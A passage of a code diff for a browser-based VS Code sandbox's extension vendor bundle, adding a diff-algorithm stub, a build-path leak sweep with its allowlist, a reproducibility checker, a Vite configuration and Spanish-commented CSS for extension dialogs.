3+// diffEditor.diffAlgorithm names it; the sandbox never shows a diff editor and
4+// keeps VS Code's built-in algorithm.
5+const unavailable = () => Promise.reject(new Error('The external diff algorithm is not available in Elffuss Code.'));
6+export const createDiffComputer = unavailable;
7+export const createWorkerDiffComputer = unavailable;
8+export default { createDiffComputer, createWorkerDiffComputer };
added vendor/vscode-ext2/sweep-allowlist.json +13 −0
@@ -0,0 +1,13 @@
1+{
2+ "note": "Upstream literals that match a generic path pattern and are not paths of any build machine. Each entry is the sha256 of the hit's context (the literal around it, up to 40 characters either side, cut at quotes and line breaks) and its exact count. Review every change with `node sweep.mjs --list <dir>`; see README.md.",
3+ "hits": [
4+ { "file": "sandbox-main.js", "pattern": "mac-home", "context": "21bb4ac98d082d28fa8ae6ce26ab1b20aae44766c5fb5af7022a32e37d7d7113", "count": 1, "why": "VS Code help text: example value of the snippet variable for a file's full path" },
5+ { "file": "sandbox-main.js", "pattern": "mac-home", "context": "3fa62197a90229a32ff29958ceee0456500df8f205607f3f730456ed0b5b87b6", "count": 1, "why": "VS Code help text: example value of the snippet variable for a file's folder" },
6+ { "file": "sandbox-main.js", "pattern": "mac-home", "context": "c5f45d8ac8337524a265429444738a88ace7181e45a05175d2268d3ac6fd409c", "count": 1, "why": "VS Code help text: example value of the snippet variable for a parent folder" },
7+ { "file": "sandbox-main.js", "pattern": "mac-home", "context": "35ee328bb70bcdbc07c66647e4c1b812e4aa0b893875a149d40d18609b16fd65", "count": 1, "why": "VS Code help text: example value of the snippet variable for the workspace folder" },
8+ { "file": "sandbox-main.js", "pattern": "windows-home", "context": "8a1ea15f8a108a65a674f2ad973face2dcd00905df6537a7ddd331eef2fe5f62", "count": 1, "why": "VS Code help text: example literal paths in an agent sandbox setting description" },
9+ { "file": "sandbox-main.js", "pattern": "file-url", "context": "7cd906927238de0295cb9c4ae6cd009c01fb4f4cb901f6232fa6583b6d68cfbc", "count": 2, "why": "VS Code code: case-insensitive checks for a file URL prefix (a bare file URL literal)" },
10+ { "file": "exthost-worker.js", "pattern": "file-url", "context": "0bd9acb5e66d07412e4d0922f5b1d4ba4da416c296d085885f95e3381e3cc94c", "count": 2, "why": "VS Code code: case-insensitive checks for a file URL prefix (a bare file URL literal)" },
11+ { "file": "exthost-worker.js", "pattern": "file-url", "context": "d1171537e428ea740b1d65a723f593ce30f7454598e58e8e19717c63d0234bdc", "count": 1, "why": "VS Code code: the worker's fetch wrapper rewrites file URLs to its own app scheme" }
12+ ]
13+}
added vendor/vscode-ext2/sweep.mjs +162 −0
@@ -0,0 +1,162 @@
1+#!/usr/bin/env node
2+// Path sweep for the level 2 vendor bundle: no file that leaves this machine
3+// may carry a path of the machine that built it.
4+//
5+// node sweep.mjs sweep web/vendor/x2/<buildId>/ named by the manifest
6+// node sweep.mjs <dir> sweep every file in <dir> (.gz files are inflated first)
7+// node sweep.mjs --list [<dir>] print every hit with its context, to review an allowlist change
8+//
9+// Always fatal, wherever they appear: the user name, the home folder and the
10+// absolute build folder. Generic patterns (home prefixes of macOS, Linux and
11+// Windows, file:// and sourceMappingURL) are fatal unless the exact hit is in
12+// sweep-allowlist.json, which stores the sha256 of each hit's context (the
13+// literal around it) and how many times it appears: a new hit or a changed
14+// count fails the sweep. Base64
15+// data: URLs are decoded and their printable strings swept too, the way
16+// `strings` would see them.
17+//
18+// The patterns are assembled at run time, so this file (like every committed
19+// file) contains none of them literally.
20+import fs from 'node:fs';
21+import os from 'node:os';
22+import path from 'node:path';
23+import zlib from 'node:zlib';
24+import crypto from 'node:crypto';
25+import { fileURLToPath } from 'node:url';
26+
27+const HERE = path.dirname(fileURLToPath(import.meta.url));
28+const S = '/';
29+const B = '\\';
30+
31+export function patterns() {
32+ return [
33+ { id: 'mac-home', re: new RegExp(S + 'Users' + S, 'g') },
34+ { id: 'linux-home', re: new RegExp(S + 'home' + S, 'g') },
35+ { id: 'windows-home', re: new RegExp('[A-Za-z]:' + B + B + '+Users' + B + B, 'g') },
36+ { id: 'file-url', re: new RegExp('file:' + S + S, 'g') },
37+ { id: 'source-map', re: new RegExp('source' + 'MappingURL', 'g') },
38+ ];
39+}
40+
41+function fatalNeedles(buildRoot) {
42+ const out = [];
43+ const add = (label, v) => { if (typeof v === 'string' && v.length >= 3) out.push({ label, needle: v }); };
44+ let user = '';
45+ try { user = os.userInfo().username; } catch { /* no user database */ }
46+ add('user name', user);
47+ add('home folder', os.homedir());
48+ add('build folder', buildRoot && path.resolve(buildRoot));
49+ add('repository folder', buildRoot && path.resolve(buildRoot, '../..'));
50+ return out;
51+}
52+
53+// printable runs of 4+ bytes, as `strings` prints them
54+function printable(bytes) {
55+ let s = '', run = '';
56+ for (const b of bytes) {
57+ if (b >= 0x20 && b < 0x7f) run += String.fromCharCode(b);
58+ else { if (run.length >= 4) s += run + '\n'; run = ''; }
59+ }
60+ if (run.length >= 4) s += run + '\n';
61+ return s;
62+}
63+
64+// The text views of one file: itself, plus the printable strings of every
65+// base64 data: URL inside it.
66+function views(name, bytes) {
67+ const text = Buffer.from(bytes).toString('latin1');
68+ const out = [{ where: name, text }];
69+ const re = /data:[\w.+-]+\/[\w.+-]+(?:;[\w.+-]+=[\w.+-]+)*;base64,([A-Za-z0-9+/=]+)/g;
70+ let m, k = 0;
71+ while ((m = re.exec(text))) {
72+ const decoded = Buffer.from(m[1], 'base64');
73+ out.push({ where: `${name}#data${k++}`, text: printable(decoded) });
74+ }
75+ return out;
76+}
77+
78+// The context of a hit: up to 40 characters either side, cut at the nearest
79+// quote, backtick or line break, so it is the literal the hit lives in and
80+// does not change when the minifier renames the code around it.
81+const CONTEXT = 40;
82+const STOP = new Set(['"', "'", '`', '\n']);
83+function contextOf(text, i, len) {
84+ let a = i, b = i + len;
85+ while (a > 0 && i - a < CONTEXT && !STOP.has(text[a - 1])) a--;
86+ while (b < text.length && b - (i + len) < CONTEXT && !STOP.has(text[b])) b++;
87+ return text.slice(a, b);
88+}
89+const contextHash = (where, id, text, i, len) =>
90+ crypto.createHash('sha256').update(`${where}\0${id}\0${contextOf(text, i, len)}`).digest('hex');
91+
92+export function collectHits(files) {
93+ const hits = new Map(); // key → { file, pattern, context, count, sample }
94+ for (const { name, bytes } of files) {
95+ for (const v of views(name, bytes)) {
96+ for (const { id, re } of patterns()) {
97+ re.lastIndex = 0;
98+ let m;
99+ while ((m = re.exec(v.text))) {
100+ const context = contextHash(v.where.replace(/#data\d+$/, '#data'), id, v.text, m.index, m[0].length);
101+ const key = `${name}|${id}|${context}`;
102+ const h = hits.get(key) || { file: name, pattern: id, context, count: 0, sample: contextOf(v.text, m.index, m[0].length) };
103+ h.count++;
104+ hits.set(key, h);
105+ }
106+ }
107+ }
108+ }
109+ return [...hits.values()];
110+}
111+
112+export function sweepBuffers(files, allowlist, { buildRoot = HERE } = {}) {
113+ const problems = [];
114+ for (const { name, bytes } of files) {
115+ for (const v of views(name, bytes)) {
116+ for (const { label, needle } of fatalNeedles(buildRoot)) {
117+ if (v.text.includes(needle)) problems.push(`${v.where}: contains the ${label}`);
118+ }
119+ }
120+ }
121+ const allowed = new Map((allowlist?.hits || []).map(h => [`${h.file}|${h.pattern}|${h.context}`, h]));
122+ const seen = new Set();
123+ const hits = collectHits(files);
124+ for (const h of hits) {
125+ const key = `${h.file}|${h.pattern}|${h.context}`;
126+ const a = allowed.get(key);
127+ seen.add(key);
128+ if (!a) problems.push(`${h.file}: new ${h.pattern} hit (${h.count}×), not in sweep-allowlist.json`);
129+ else if (a.count !== h.count) problems.push(`${h.file}: ${h.pattern} hit "${a.why}" appears ${h.count}×, the allowlist says ${a.count}×`);
130+ }
131+ const names = new Set(files.map(f => f.name));
132+ for (const [key, a] of allowed) {
133+ if (!seen.has(key) && names.has(a.file)) problems.push(`${a.file}: allowed ${a.pattern} hit "${a.why}" is gone; update sweep-allowlist.json`);
134+ }
135+ return { ok: problems.length === 0, problems, hits };
136+}
137+
138+// files of a folder; .gz inflated and named without the suffix
139+export function readDir(dir) {
140+ return fs.readdirSync(dir).sort().filter(n => fs.statSync(path.join(dir, n)).isFile()).map(n => {
141+ const bytes = fs.readFileSync(path.join(dir, n));
142+ return n.endsWith('.gz') ? { name: n.slice(0, -3), bytes: zlib.gunzipSync(bytes) } : { name: n, bytes };
143+ });
144+}
145+
146+function defaultDir() {
147+ const manifest = JSON.parse(fs.readFileSync(path.join(HERE, '../../web/js/ext2/vendor-manifest.json'), 'utf8'));
148+ return path.join(HERE, '../../web/vendor/x2', manifest.buildId);
149+}
150+
151+if (process.argv[1] && path.resolve(process.argv[1]) === fileURLToPath(import.meta.url)) {
152+ const args = process.argv.slice(2);
153+ const list = args.includes('--list');
154+ const dir = args.find(a => !a.startsWith('--')) || defaultDir();
155+ const files = readDir(dir);
156+ const allow = JSON.parse(fs.readFileSync(path.join(HERE, 'sweep-allowlist.json'), 'utf8'));
157+ const report = sweepBuffers(files, allow, { buildRoot: HERE });
158+ if (list) for (const h of report.hits) console.log(JSON.stringify({ file: h.file, pattern: h.pattern, context: h.context, count: h.count }), '\n ', JSON.stringify(h.sample));
159+ console.log(`swept ${files.length} files in ${path.basename(dir)}: ${report.hits.length} distinct generic hits, ${report.problems.length} problems`);
160+ for (const p of report.problems) console.log(' ✗ ' + p);
161+ process.exit(report.ok ? 0 : 1);
162+}
added vendor/vscode-ext2/verify-repro.mjs +86 −0
@@ -0,0 +1,86 @@
1+#!/usr/bin/env node
2+// Reproducibility check for the level 2 vendor bundle.
3+//
4+// node verify-repro.mjs [--keep]
5+//
6+// Copies the build inputs into two fresh temporary folders with different
7+// absolute paths, runs `npm ci --ignore-scripts` and `node build.mjs --out …`
8+// in each, and requires:
9+// - byte-identical outputs from the two builds (every .gz, LICENSES.txt and
10+// the manifest);
11+// - that output equal to the committed web/js/ext2/vendor-manifest.json;
12+// - the path sweep passing in both (build.mjs runs it, with each temporary
13+// folder as a forbidden needle).
14+// It refuses to start with less than 15 GB of free disk. The temporary
15+// folders go under $X2_REPRO_TMP when set, else under the system temp folder,
16+// and are removed afterwards unless --keep is given.
17+import fs from 'node:fs';
18+import os from 'node:os';
19+import path from 'node:path';
20+import { execFileSync } from 'node:child_process';
21+import { fileURLToPath } from 'node:url';
22+
23+const HERE = path.dirname(fileURLToPath(import.meta.url));
24+const REPO = path.resolve(HERE, '../..');
25+const MIN_FREE = 15 * 1024 ** 3;
26+const INPUTS = ['package.json', 'package-lock.json', '.npmrc', '.node-version', 'vite.config.mjs', 'build.mjs', 'postbuild.mjs', 'sweep.mjs', 'sweep-allowlist.json', 'src'];
27+
28+function freeBytes(dir) {
29+ const s = fs.statfsSync(dir);
30+ return Number(s.bavail) * Number(s.bsize);
31+}
32+
33+function listFiles(dir, rel = '') {
34+ const out = [];
35+ for (const name of fs.readdirSync(path.join(dir, rel)).sort()) {
36+ const r = rel ? rel + '/' + name : name;
37+ if (fs.statSync(path.join(dir, r)).isDirectory()) out.push(...listFiles(dir, r));
38+ else out.push(r);
39+ }
40+ return out;
41+}
42+
43+function prepare(base, label) {
44+ const dir = fs.mkdtempSync(path.join(base, `x2-repro-${label}-`));
45+ const work = path.join(dir, label === 'a' ? 'w' : 'another-work-folder');
46+ return { dir, work, out: path.join(dir, 'out') };
47+}
48+
49+function buildIn({ work, out }) {
50+ fs.mkdirSync(work, { recursive: true });
51+ for (const f of INPUTS) fs.cpSync(path.join(HERE, f), path.join(work, f), { recursive: true });
52+ const env = { ...process.env, npm_config_update_notifier: 'false' };
53+ execFileSync('npm', ['ci', '--ignore-scripts', '--prefer-offline', '--no-audit', '--no-fund', '--loglevel=error'], { cwd: work, env, stdio: ['ignore', 'ignore', 'inherit'] });
54+ execFileSync(process.execPath, ['build.mjs', '--out', out], { cwd: work, env, stdio: ['ignore', 'pipe', 'inherit'] });
55+}
56+
57+function main() {
58+ const keep = process.argv.includes('--keep');
59+ const base = path.resolve(process.env.X2_REPRO_TMP || os.tmpdir());
60+ fs.mkdirSync(base, { recursive: true });
61+ const free = freeBytes(base);
62+ if (free < MIN_FREE) throw new Error(`only ${(free / 1024 ** 3).toFixed(1)} GB free; this check needs at least 15 GB`);
63+
64+ const runs = [];
65+ try {
66+ for (const label of ['a', 'b']) { const r = prepare(base, label); runs.push(r); buildIn(r); }
67+ const [a, b] = runs;
68+ const fa = listFiles(a.out), fb = listFiles(b.out);
69+ const problems = [];
70+ if (JSON.stringify(fa) !== JSON.stringify(fb)) problems.push(`different file lists:\n ${fa.join(', ')}\n ${fb.join(', ')}`);
71+ for (const f of fa) {
72+ if (!fb.includes(f)) continue;
73+ if (!fs.readFileSync(path.join(a.out, f)).equals(fs.readFileSync(path.join(b.out, f)))) problems.push(`${f} differs between the two builds`);
74+ }
75+ const committed = fs.readFileSync(path.join(REPO, 'web/js/ext2/vendor-manifest.json'));
76+ const built = fs.readFileSync(path.join(a.out, 'js/ext2/vendor-manifest.json'));
77+ if (!committed.equals(built)) problems.push('the rebuilt manifest differs from the committed web/js/ext2/vendor-manifest.json');
78+ const manifest = JSON.parse(built);
79+ if (problems.length) throw new Error('NOT reproducible:\n ' + problems.join('\n '));
80+ console.log(`reproducible: buildId ${manifest.buildId}, ${fa.length} files byte-identical across two clean builds in different folders, equal to the committed manifest; sweep passed in both`);
81+ } finally {
82+ if (!keep) for (const r of runs) fs.rmSync(r.dir, { recursive: true, force: true });
83+ }
84+}
85+
86+try { main(); } catch (e) { console.error(String(e?.message || e)); process.exit(1); }
added vendor/vscode-ext2/vite.config.mjs +117 −0
@@ -0,0 +1,117 @@
1+// Vite settings for the level 2 vendor bundle. build.mjs calls configFor()
2+// once per entry; there is no `vite build` CLI step. Each entry becomes ONE
3+// ES module file (the sandbox loads them from blob: URLs, which cannot
4+// resolve relative imports), with every asset inlined and no source map.
5+import path from 'node:path';
6+import { fileURLToPath } from 'node:url';
7+
8+const HERE = path.dirname(fileURLToPath(import.meta.url));
9+
10+export const ENTRIES = ['sandbox-main', 'exthost-worker', 'editor-worker'];
11+
12+// A URL built from import.meta.url would point at wherever the blob came
13+// from. Any that survive bundling point at a name that never resolves and
14+// that the sandbox's CSP refuses anyway: such a URL fails closed.
15+export const DEAD_BASE = 'https://x2.invalid/';
16+
17+const STUBS = {
18+ jschardet: path.join(HERE, 'src/stubs/jschardet.js'),
19+ '@vscode/iconv-lite-umd': path.join(HERE, 'src/stubs/iconv-lite-umd.js'),
20+ '@vscode/diff': path.join(HERE, 'src/stubs/vscode-diff.js'),
21+};
22+const KEYBOARD_LAYOUTS = /[\\/]keyboardLayouts[\\/]layout\.contribution\.(darwin|linux|win)\.js$/;
23+
24+function stubs() {
25+ return {
26+ name: 'elffuss-x2-stubs',
27+ enforce: 'pre',
28+ async resolveId(source, importer, options) {
29+ if (Object.hasOwn(STUBS, source)) return STUBS[source];
30+ if (/layout\.contribution\.(darwin|linux|win)\.js$/.test(source) && importer) {
31+ const resolved = await this.resolve(source, importer, { ...options, skipSelf: true });
32+ if (resolved && KEYBOARD_LAYOUTS.test(resolved.id)) return path.join(HERE, 'src/stubs/keyboard-layouts.js');
33+ }
34+ return null;
35+ },
36+ };
37+}
38+
39+// VS Code's CSS is imported from JS (`import * as x from './x.css'`) and
40+// registered as text by the library; load it as a string export.
41+function cssAsString() {
42+ return {
43+ name: 'elffuss-x2-css-as-string',
44+ enforce: 'pre',
45+ async resolveId(source, importer, options) {
46+ if (!source.endsWith('.css') || source.includes('?')) return null;
47+ const resolved = await this.resolve(source, importer, { ...options, skipSelf: true });
48+ if (resolved && /[\\/]node_modules[\\/](@codingame[\\/]monaco-vscode|monaco-editor)/.test(resolved.id) && resolved.id.endsWith('.css')) {
49+ return { ...resolved, id: resolved.id + '?inline' };
50+ }
51+ return null;
52+ },
53+ };
54+}
55+
56+// The library points at its own copy of the extension-host iframe document
57+// with `new URL('….html', import.meta.url)`. The sandbox registers its own
58+// document instead (registerAssets), so that copy must not be emitted: the
59+// reference is pinned to the dead base before Vite turns it into an asset.
60+function noHtmlAssets() {
61+ const PATTERN = /new URL\(\s*(['"`])([^'"`]+\.html)\1\s*,\s*import\.meta\.url\s*\)/g;
62+ return {
63+ name: 'elffuss-x2-no-html-assets',
64+ enforce: 'pre',
65+ transform(code, id) {
66+ if (!/[\\/]node_modules[\\/]/.test(id) || !code.includes('.html')) return null;
67+ const out = code.replace(PATTERN, (_, q, file) => `new URL(${JSON.stringify(file)}, ${JSON.stringify(DEAD_BASE)})`);
68+ return out === code ? null : { code: out, map: null };
69+ },
70+ };
71+}
72+
73+function deadImportMetaUrl() {
74+ return {
75+ name: 'elffuss-x2-dead-import-meta-url',
76+ renderChunk(code) {
77+ if (!code.includes('import.meta.url')) return null;
78+ return { code: code.split('import.meta.url').join(JSON.stringify(DEAD_BASE)), map: null };
79+ },
80+ };
81+}
82+
83+export function configFor(entry, { outDir }) {
84+ if (!ENTRIES.includes(entry)) throw new Error('unknown entry ' + entry);
85+ return {
86+ configFile: false,
87+ root: HERE,
88+ logLevel: 'warn',
89+ clearScreen: false,
90+ publicDir: false,
91+ envDir: false,
92+ define: { 'process.env.NODE_ENV': '"production"' },
93+ plugins: [stubs(), cssAsString(), noHtmlAssets(), deadImportMetaUrl()],
94+ resolve: { dedupe: ['vscode', 'monaco-editor'] },
95+ build: {
96+ outDir,
97+ emptyOutDir: true,
98+ target: 'es2022',
99+ minify: true,
100+ sourcemap: false,
101+ assetsInlineLimit: 4 * 1024 * 1024,
102+ cssCodeSplit: false,
103+ copyPublicDir: false,
104+ reportCompressedSize: false,
105+ modulePreload: false,
106+ write: true,
107+ license: { fileName: entry + '.licenses.json' },
108+ // not library mode: Vite keeps the whitespace of ES libraries, and this
109+ // bundle is never re-bundled by anyone
110+ rolldownOptions: {
111+ input: { [entry]: path.join(HERE, 'src', entry + '.js') },
112+ preserveEntrySignatures: 'strict',
113+ output: { format: 'es', codeSplitting: false, entryFileNames: '[name].js' },
114+ },
115+ },
116+ };
117+}
modified web/css/ext.css +10 −1
@@ -74,9 +74,18 @@
7474 .ext-actions .ghost:hover:not(:disabled):not([aria-disabled="true"]) { color: var(--fg); border-color: var(--accent2); }
7575 .ext-actions button:disabled, .ext-actions button[aria-disabled="true"] { cursor: default; opacity: .75; }
7676 .ext-more { display: block; margin: 4px auto 10px; font-size: .76rem; }
77+/* nivel 2: lo que ve cualquiera en el panel (cómo se aíslan, el filtro); los
78+ mandos de las extensiones con código están en ext2.css */
79+.ext-iso { margin: 0 0 8px; font-size: .74rem; max-width: 760px; }
80+.ext-iso summary { cursor: pointer; color: var(--accent2); }
81+.ext-iso ul { margin: 4px 0 0 18px; padding: 0; color: #b8c0d4; line-height: 1.45; }
82+.ext-works-note { margin: 6px 0 0; font-size: .72rem; }
83+.ext-works-note[hidden] { display: none; }
84+.ext-iso summary:focus-visible { outline: 2px solid var(--accent2); outline-offset: 2px; }
85+
7786 @media (max-width: 560px) {
7887 .ext-row { flex-wrap: wrap; }
79- .ext-actions { flex-direction: row; width: 100%; max-width: none; justify-content: flex-end; }
88+ .ext-actions { flex-direction: row; width: 100%; max-width: none; justify-content: flex-end; flex-wrap: wrap; }
8089 }
8190
8291 /* selector de tema: como la paleta de comandos */
added web/css/ext2.css +132 −0
@@ -0,0 +1,132 @@
1+/* Nivel 2 de extensiones: avisos, diálogos, selector y cuadro de texto que
2+ piden las extensiones con código, y los diálogos de Code que las vigilan
3+ (abrir una dirección, vista previa, peticiones del agente). Solo se carga
4+ en modo extensiones y todo cuelga de #x2-* / .x2-*: nada de esto toca las
5+ reglas de Code ni entra CSS de VS Code. */
6+
7+#x2-toasts {
8+ position: fixed; right: 12px; bottom: 34px; z-index: 160;
9+ display: flex; flex-direction: column; gap: 8px; align-items: flex-end;
10+ width: min(92vw, 420px); pointer-events: none;
11+}
12+.x2-toast {
13+ pointer-events: auto; width: 100%; background: var(--bg3, #161a24); color: var(--fg, #eae8f2);
14+ border: 1px solid var(--line, #20252c); border-left: 3px solid var(--accent2, #8272ff);
15+ border-radius: 9px; padding: 9px 10px 8px 12px; box-shadow: 0 10px 30px rgba(0,0,0,.45);
16+ font-size: .8rem; line-height: 1.4;
17+}
18+.x2-toast.x2-warning { border-left-color: #e5a53a; }
19+.x2-toast.x2-error { border-left-color: #ff6b8b; }
20+.x2-toast-from { font-size: .7rem; color: var(--muted, #8b929c); margin-bottom: 3px; }
21+.x2-toast-text { white-space: pre-wrap; overflow-wrap: anywhere; max-height: 9.5em; overflow: auto; }
22+.x2-toast-buttons { display: flex; gap: 6px; flex-wrap: wrap; justify-content: flex-end; margin-top: 7px; }
23+.x2-toast-close { background: none; border: none; color: var(--muted, #8b929c); font-size: 1rem; cursor: pointer; padding: 0 4px; }
24+.x2-toast-close:hover { color: var(--fg, #eae8f2); }
25+
26+.x2-btn {
27+ background: none; border: 1px solid var(--line, #20252c); color: var(--fg, #eae8f2);
28+ border-radius: 6px; padding: 5px 11px; font-size: .76rem; cursor: pointer; white-space: nowrap;
29+}
30+.x2-btn:hover:not([aria-disabled="true"]) { border-color: var(--accent2, #8272ff); }
31+/* texto oscuro sobre el degradado de Code: 8,1:1 en el dorado y 4,8:1 en el violeta (WCAG 1.4.3 pide 4,5:1).
32+ El violeta es el --accent2 de Code (misma saturación) un poco más claro: con el
33+ --accent2 tal cual el texto oscuro se queda en 4,0:1 y el blanco en 2,4:1 sobre el dorado. */
34+.x2-btn.x2-primary { background: linear-gradient(135deg, var(--accent, #c8a06a), #7c72ce); border: none; color: #0b0c12; font-weight: 600; }
35+.x2-btn[aria-disabled="true"] { opacity: .55; cursor: default; }
36+.x2-btn:focus-visible, .x2-toast-close:focus-visible { outline: 2px solid var(--accent2, #8272ff); outline-offset: 2px; }
37+
38+.x2-backdrop {
39+ position: fixed; inset: 0; z-index: 170; background: rgba(5,6,10,.55);
40+ display: flex; align-items: flex-start; justify-content: center; padding: 10vh 8px 8px;
41+}
42+.x2-modal {
43+ width: min(92vw, 560px); max-height: 80vh; overflow: auto; background: var(--bg3, #161a24); color: var(--fg, #eae8f2);
44+ border: 1px solid var(--accent2, #8272ff); border-radius: 10px; box-shadow: 0 20px 60px rgba(0,0,0,.6); padding: 14px 16px 12px;
45+}
46+.x2-modal-title { margin: 0 0 8px; font-size: .95rem; }
47+.x2-modal-text { margin: 0 0 8px; font-size: .82rem; line-height: 1.45; white-space: pre-wrap; overflow-wrap: anywhere; }
48+.x2-modal-text.x2-warning { color: #f0c27a; }
49+.x2-modal-text.x2-error { color: #ff9db1; }
50+.x2-modal-detail { margin: 0 0 8px; font-size: .76rem; color: var(--muted, #8b929c); white-space: pre-wrap; overflow-wrap: anywhere; }
51+.x2-modal-buttons { display: flex; gap: 8px; flex-wrap: wrap; justify-content: flex-end; margin-top: 10px; }
52+.x2-code {
53+ font-family: ui-monospace, SFMono-Regular, Menlo, monospace; font-size: .78rem; background: var(--bg, #090a11);
54+ border: 1px solid var(--line, #20252c); border-radius: 6px; padding: 8px 10px; margin: 0 0 8px;
55+ white-space: pre-wrap; overflow-wrap: anywhere; word-break: break-all; user-select: all;
56+}
57+.x2-code .x2-cc { color: #ff9db1; background: rgba(255,107,139,.14); border-radius: 3px; padding: 0 2px; }
58+/* una dirección o una orden larga no empuja el título fuera: se desplaza ella */
59+.x2-code { max-height: min(32vh, 14em); overflow: auto; }
60+.x2-code:focus-visible { outline: 2px solid var(--accent2, #8272ff); outline-offset: 1px; }
61+.x2-sizes { margin: 0 0 8px 18px; padding: 0; font-size: .78rem; line-height: 1.45; }
62+.x2-site { font-size: .8rem; margin: 0 0 6px; }
63+.x2-site b { overflow-wrap: anywhere; }
64+.x2-sr { position: absolute; width: 1px; height: 1px; overflow: hidden; clip: rect(0 0 0 0); clip-path: inset(50%); white-space: nowrap; }
65+.x2-note { font-size: .76rem; color: #f0c27a; margin: 0 0 6px; }
66+
67+.x2-pick {
68+ position: fixed; top: 52px; left: 50%; transform: translateX(-50%); z-index: 165;
69+ width: min(92vw, 560px); background: var(--bg3, #161a24); color: var(--fg, #eae8f2);
70+ border: 1px solid var(--accent2, #8272ff); border-radius: 10px; box-shadow: 0 20px 60px rgba(0,0,0,.6); overflow: hidden;
71+}
72+.x2-pick-title { font-size: .72rem; color: var(--muted, #8b929c); padding: 8px 14px 0; }
73+.x2-pick-input { width: 100%; background: var(--bg, #090a11); border: none; border-bottom: 1px solid var(--line, #20252c); color: var(--fg, #eae8f2); padding: 10px 14px; font-size: .9rem; outline: none; }
74+.x2-pick-list { max-height: 45vh; overflow-y: auto; padding: 4px; }
75+.x2-pick-item { display: flex; flex-wrap: wrap; align-items: baseline; gap: 8px; padding: 6px 10px; border-radius: 6px; cursor: pointer; font-size: .82rem; }
76+.x2-pick-item.sel, .x2-pick-item:hover { background: #7c5cff33; }
77+.x2-pick-label { font-weight: 500; overflow-wrap: anywhere; }
78+.x2-pick-desc { color: var(--muted, #8b929c); font-size: .74rem; overflow-wrap: anywhere; }
79+.x2-pick-detail { flex-basis: 100%; color: var(--muted, #8b929c); font-size: .72rem; overflow-wrap: anywhere; }
80+.x2-pick-sep { font-size: .68rem; color: var(--muted, #8b929c); padding: 6px 10px 2px; text-transform: uppercase; letter-spacing: .04em; }
81+.x2-pick-empty { padding: 10px 12px; color: var(--muted, #8b929c); font-size: .8rem; }
82+.x2-check { width: 1.1em; }
83+.x2-pick-foot { display: flex; justify-content: flex-end; gap: 8px; padding: 6px 10px 8px; border-top: 1px solid var(--line, #20252c); }
84+.x2-pick-foot [hidden] { display: none; }
85+.x2-input-prompt { font-size: .76rem; color: var(--muted, #8b929c); padding: 6px 14px 0; white-space: pre-wrap; overflow-wrap: anywhere; }
86+.x2-input-error { font-size: .76rem; color: #ff9db1; padding: 4px 14px 0; overflow-wrap: anywhere; }
87+.x2-input-error[hidden] { display: none; }
88+
89+.x2-progress { margin-left: auto; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; max-width: 50vw; }
90+
91+@media (max-width: 560px) {
92+ /* arriba, bajo la barra de pestañas: abajo taparía el prompt del chat */
93+ #x2-toasts { right: 4vw; left: 4vw; width: auto; bottom: auto; top: 46px; }
94+ .x2-backdrop { padding-top: 6vh; }
95+ .x2-modal-buttons { justify-content: stretch; }
96+ .x2-modal-buttons .x2-btn { flex: 1 1 auto; }
97+ .x2-progress { max-width: 40vw; }
98+}
99+
100+/* Panel de extensiones: qué funcionará de cada una y los mandos de las que
101+ traen código (js/ext2/manage.js carga esta hoja al cargarse). */
102+.ext-x2-lines { margin-top: 3px; }
103+.ext-x2-runs, .ext-x2-tested { font-size: .72rem; color: #9ecbff; margin-top: 3px; }
104+.ext-x2-untested { font-size: .72rem; color: var(--muted); margin-top: 3px; }
105+.ext-actions .ext-install-code { background: none; border: 1px solid var(--accent2); color: var(--fg); }
106+.ext-x2 { margin-top: 7px; padding: 7px 9px; border: 1px dashed var(--line); border-radius: 8px; font-size: .74rem; }
107+.ext-x2-head { display: flex; align-items: center; gap: 8px; flex-wrap: wrap; justify-content: space-between; }
108+.ext-x2-state { color: #9ecbff; overflow-wrap: anywhere; }
109+.ext-x2 button { font-size: .72rem; padding: 4px 10px; border-radius: 6px; cursor: pointer; background: none; border: 1px solid var(--line); color: var(--fg); }
110+.ext-x2 button.ext-x2-run.on { border-color: var(--accent2); background: rgba(130,114,255,.18); }
111+.ext-x2 button[aria-disabled="true"] { opacity: .6; cursor: default; }
112+.ext-x2 details { margin-top: 6px; }
113+.ext-x2 summary { cursor: pointer; }
114+.ext-x2-json { display: block; width: 100%; margin: 5px 0; min-height: 70px; resize: vertical; background: var(--bg); color: var(--fg); border: 1px solid var(--line); border-radius: 6px; padding: 6px 8px; font: .74rem ui-monospace, SFMono-Regular, Menlo, monospace; }
115+.ext-x2-msg { margin-top: 4px; color: #9ecbff; overflow-wrap: anywhere; }
116+.ext-x2-msg[role="alert"] { color: #ff9db1; }
117+.ext-x2-cmds { list-style: none; margin: 6px 0 0; padding: 0; display: grid; gap: 4px; }
118+.ext-x2-cmds li { display: flex; justify-content: space-between; align-items: center; gap: 8px; overflow-wrap: anywhere; }
119+.ext-x2-fmtrow { display: flex; justify-content: space-between; align-items: center; gap: 8px; margin-top: 4px; }
120+.ext-x2-fmtrow select { background: var(--bg3); color: var(--fg); border: 1px solid var(--line); border-radius: 6px; padding: 2px 4px; font-size: .72rem; max-width: 55%; }
121+.ext-x2-keys ul { margin: 4px 0 0 18px; padding: 0; color: var(--muted); overflow-wrap: anywhere; }
122+.ext-x2-log pre { margin: 4px 0 0; max-height: 160px; overflow: auto; white-space: pre-wrap; overflow-wrap: anywhere; font-size: .68rem; background: var(--bg); border: 1px solid var(--line); border-radius: 6px; padding: 6px 8px; }
123+.ext-x2-runtime { margin: 2px 0 4px; font-size: .74rem; }
124+.ext-x2-blocked { color: #f0c27a; }
125+.ext-x2-unblock { font-size: .72rem; padding: 2px 8px; border-radius: 6px; cursor: pointer; background: none; border: 1px solid var(--line); color: var(--fg); }
126+.ext-x2-unblock:focus-visible { outline: 2px solid var(--accent2); outline-offset: 2px; }
127+.ext-x2-alloff { margin: 0 0 8px; font-size: .72rem; padding: 4px 10px; border-radius: 6px; cursor: pointer; background: none; border: 1px solid var(--line); color: var(--muted); }
128+.ext-x2 button:focus-visible, .ext-x2 summary:focus-visible, .ext-x2-json:focus-visible, .ext-x2-alloff:focus-visible { outline: 2px solid var(--accent2); outline-offset: 2px; }
129+@media (max-width: 560px) {
130+ .ext-x2-fmtrow { flex-direction: column; align-items: stretch; }
131+ .ext-x2-fmtrow select { max-width: 100%; }
132+}
modified web/js/ext/host.js +51 −9
@@ -2,12 +2,16 @@
22 // (temas de color, gramáticas TextMate, snippets y configuración de lenguajes).
33 // NINGÚN JavaScript de una extensión se ejecuta aquí.
44 //
